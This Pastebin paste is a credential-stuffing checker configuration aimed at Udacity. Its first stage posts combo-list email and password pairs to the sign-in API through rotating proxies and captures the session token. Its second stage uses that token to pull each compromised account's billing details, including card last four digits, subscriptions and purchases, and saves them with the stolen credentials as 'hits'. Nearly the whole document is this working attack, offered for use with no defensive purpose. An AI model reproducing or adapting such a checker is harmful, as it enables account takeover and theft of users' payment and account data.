Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [General]
- UseProxy = True
- UseGlobalKeywords = False
- DefaultTimeout = 15
- UnbanAllProxiesWhenAllBannedAfter = 0.0
- HitsFolderName = Uacity
- [Stage-1]
- Condition = Any
- Variable-1 = $Link = "https://user-api.udacity.com/signin"
- Link = $Link#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = True
- HTTPRequestMethod = Post
- Timeout = 20
- Variable-2 = $Heads = "Accept: application/json\nContent-Type: application/json\nReferer: https://auth.udacity.com/sign-in?next=https://classroom.udacity.com/authenticated\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36\n"
- Headers = $Heads#
- Variable-3 = $PostContent = combinetext("{chr(double quotes)emailchr(double quotes):chr(double quotes)",$combousername#,"chr(double quotes)chr(Comma)chr(double quotes)passwordchr(double quotes):chr(double quotes)",$combopassword#,"chr(double quotes)}")
- PostContent = $PostContent#
- Variable-4 = $IndexOfFailKey = indexof($Stage1ResponseSource#,"Invalid login credentials")
- Failure-Condition = $IndexOfFailKey# >=0
- Variable-5 = $IndexOfSuccessKey = indexof($stage1responsesource#,"jwt")
- Variable-6 = $jwt = findtagval($Stage1ResponseSource#,"{chr(double quotes)jwtchr(double quotes):chr(double quotes)","chr(double quotes)")
- [Stage-2]
- Condition = $IndexOfSuccessKey# > 0
- Variable-1 = $Link = "https://classroom-content.udacity.com/api/v1/graphql"
- Link = $Link#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = True
- HTTPRequestMethod = Post
- Timeout = 20
- Variable-2 = $Heads2 = combinetext("Accept: application/json\nContent-Type: application/json\nReferer: https://classroom.udacity.com/settings/billing\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36\nAuthorization: Bearer ",$jwt#)
- Headers = $Heads2#
- Variable-3 = $PostContent2 = "{chr(double quotes)querychr(double quotes):chr(double quotes)chr(Line Feed) query UserBillingQuery {chr(Line Feed) user {chr(Line Feed) billing {chr(Line Feed) cards {chr(Line Feed) chr(Line Feed) idchr(Line Feed) namechr(Line Feed) exp_yearchr(Line Feed) exp_monthchr(Line Feed) typechr(Line Feed) last4chr(Line Feed)chr(Line Feed) }chr(Line Feed) sources {chr(Line Feed) chr(Line Feed) idchr(Line Feed) currencychr(Line Feed) object_namechr(Line Feed) typechr(Line Feed) owner {chr(Line Feed) chr(Line Feed) emailchr(Line Feed)chr(Line Feed) }chr(Line Feed) source_details {chr(Line Feed) ...on SepaType {chr(Line Feed) chr(Line Feed) last4chr(Line Feed) countrychr(Line Feed) fingerprintchr(Line Feed) mandate_referencechr(Line Feed) mandate_urlchr(Line Feed)chr(Line Feed) }chr(Line Feed) }chr(Line Feed)chr(Line Feed) }chr(Line Feed) one_time_purchases: non_term_purchases {chr(Line Feed) urnchr(Line Feed) providerchr(Line Feed) product_keychr(Line Feed) product_variantchr(Line Feed) namechr(Line Feed) statuschr(Line Feed) amountchr(Line Feed) currencychr(Line Feed) purchased_atchr(Line Feed) refundable_untilchr(Line Feed) payment_method {chr(Line Feed) ...on StripePaymentMethod {chr(Line Feed) typechr(Line Feed) }chr(Line Feed) ...on RazorpayPaymentMethod {chr(Line Feed) typechr(Line Feed) }chr(Line Feed) }chr(Line Feed) }chr(Line Feed) term_purchases {chr(Line Feed) urnchr(Line Feed) providerchr(Line Feed) product_keychr(Line Feed) product_variantchr(Line Feed) namechr(Line Feed) statuschr(Line Feed) amountchr(Line Feed) currencychr(Line Feed) cohort_idchr(Line Feed) term_idchr(Line Feed) purchased_atchr(Line Feed) started_atchr(Line Feed) refundable_untilchr(Line Feed) payment_method {chr(Line Feed) ...on StripePaymentMethod {chr(Line Feed) typechr(Line Feed) }chr(Line Feed) ...on RazorpayPaymentMethod {chr(Line Feed) typechr(Line Feed) }chr(Line Feed) }chr(Line Feed) }chr(Line Feed) subscriptions {chr(Line Feed) idchr(Line Feed) urnchr(Line Feed) namechr(Line Feed) statuschr(Line Feed) amountchr(Line Feed) invoice_amountchr(Line Feed) currencychr(Line Feed) current_period_end_atchr(Line Feed) current_period_started_atchr(Line Feed) cancel_at_period_endchr(Line Feed) canceled_atchr(Line Feed) coupon {chr(Line Feed) percent_offchr(Line Feed) }chr(Line Feed) metadata {chr(Line Feed) pausedchr(Line Feed) github_promochr(Line Feed) }chr(Line Feed) trial_endchr(Line Feed) can_pausechr(Line Feed) refundabilitychr(Line Feed) started_atchr(Line Feed) product_keychr(Line Feed) providerchr(Line Feed) product_variantchr(Line Feed) invoice_urnchr(Line Feed) }chr(Line Feed) }chr(Line Feed) }chr(Line Feed) }chr(Line Feed) chr(double quotes)chr(Comma)chr(double quotes)variableschr(double quotes):nullchr(Comma)chr(double quotes)localechr(double quotes):chr(double quotes)en-uschr(double quotes)}"
- PostContent = $PostContent2#
- Variable-4 = $IndexOfSuccessKey2 = ($Stage2ResponseSource#,"billing")
- success-condition = $IndexOfSuccessKey2# >= 0
- Variable-5 = $card = findtagval($Stage2ResponseSource#,"chr(double quotes)cardschr(double quotes):","chr(Comma)")
- Variable-6 = $sub = findtagval($Stage2ResponseSource#,"chr(double quotes)subscriptionschr(double quotes):","chr(Comma)")
- Variable-7 = $SaveFormat = combinetext($ComboUsername#, ":", $ComboPassword#, " card ",$card#, " sub ","$sub#")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement